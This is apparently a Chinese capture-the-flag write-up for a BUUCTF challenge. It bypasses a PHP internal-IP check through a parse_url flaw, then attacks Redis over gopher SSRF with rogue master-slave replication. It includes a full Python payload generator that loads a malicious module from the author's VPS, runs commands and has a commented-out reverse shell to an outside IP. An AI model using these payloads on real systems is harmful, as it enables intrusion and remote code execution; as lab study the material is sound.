参考博客:
https://blog.csdn.net/qq_41891666/article/details/107103116
https://zhuanlan.zhihu.com/p/112055947
https://blog.csdn.net/weixin_42345596/article/details/111312263
属于是被buu恶心坏了,为什么这么多人说只能内网打呜呜呜
打开页面是一个php源码,大概是要绕过这个check_inner_ip,一看到这个parse_url直接根据这个函数的解析漏洞,绕过check。
?url=http:///127.0.0.1/hint.php
得到hint.php
string(1342) " <?php
if($_SERVER['REMOTE_ADDR']==="127.0.0.1"){
highlight_file(__FILE__);
}
if(isset($_POST['file'])){
file_put_contents($_POST['file'],"<?php echo 'redispass is root';exit();".$_POST['file']);
}
"
拿到redis的密码
因为在index.php中看到了curl,所以可以确定利用gopher攻击redis。
gopher协议支持发出GET、POST请求:可以先截获get请求包和post请求包,在构成符合gopher协议的请求。gopher协议是ssrf利用中最强大的协议
URL:gopher://<host>:<port>/<gopher-path>_后接TCP数据流
这里利用redis主从复制实现攻击,实用的工具:
https://github.com/xmsec/redis-ssrf
https://github.com/n0b0dyCN/redis-rogue-server
redis主从复制的原理:就我个人理解,首先攻击者搭建了一个流氓主机,让被攻击机从属于该主机,因为攻击机可以把自己内部的数据同步到从机,所以可以通过比较复杂的过程实现将攻击程序发送的从机的步骤。而redisRedis 版本(4.x~5.0.5)可以加载外部模块来运行,即我们可以利用这一点加载恶意程序。
这里巨巨巨巨坑的地方!!!
网上的大量博客都是使用buu自己内部的环境部署rouge-server,但是在实际操作中,因为buu环境的不稳定(我也不知道为什么不稳定),exp.so这个拓展根本没办法在主从复制时完整的传到被攻击主机,就导致每次执行module load的时候老是提示不可用
所以这里使用自己的vps搭建rouge-server
然后根据网上的脚本,分三次写入
# 使用方法就是分三次生成payload (dirty hack ,打开每次cmd 里面的注释)。
from urllib.parse import quote
def redis_format(arr):
CRLF = "\r\n"
redis_arr = arr.split(" ")
cmd = ""
cmd += "*" + str(len(redis_arr))
for x in redis_arr:
cmd += CRLF + "$" + str(len((x))) + CRLF + x
cmd += CRLF
return cmd
def generate_rce(lhost, lport, passwd, command="cat /etc/passwd"):
exp_filename = "exp.so"
cmd = [
# 第一次
# "CONFIG SET dir /tmp/",
# "config set dbfilename exp.so",
# "SLAVEOF {} {}".format(lhost, lport),
# 第二次
# "MODULE LOAD /tmp/exp.so",
# 第三次
#"system.exec {}".format(command.replace(" ", "${IFS}")),
# 这里有个细节就是使用${IFS}代替参数中的空格,因为上面的redis_format函数会根据空格来进行分割命令和参数
# "system.rev 174.2.6.11${IFS}2333",
# "SLAVEOF NO ONE",
# "CONFIG SET dbfilename dump.rdb",
# "system.exec rm${IFS}/tmp/exp.so",
# "MODULE UNLOAD system",
"quit",
]
if passwd:
cmd.insert(0, "AUTH {}".format(passwd))
return cmd
if __name__ == '__main__':
#攻击机ip:
lhost = "174.2.6.11"
lport = "21000"
passwd = "root"
command = "cat /flag"
# command = "bash -i >& /dev/tcp/174.2.6.11/2333 0>&1"
cmd = generate_rce(lhost,lport,passwd,command)
rhost = "0.0.0.0"
rport = "6379"
payload = 'gopher://'+rhost+":"+rport+"/_"
a = ""
for x in cmd:
a += redis_format(x)
payload += quote(redis_format(x))
print(a)
print(payload)
这里因为要用到curl,所以要将get参数二次url编码
第一次传
第二次传(终于看到这三个OK了。。。)
第三次传就拿到了flag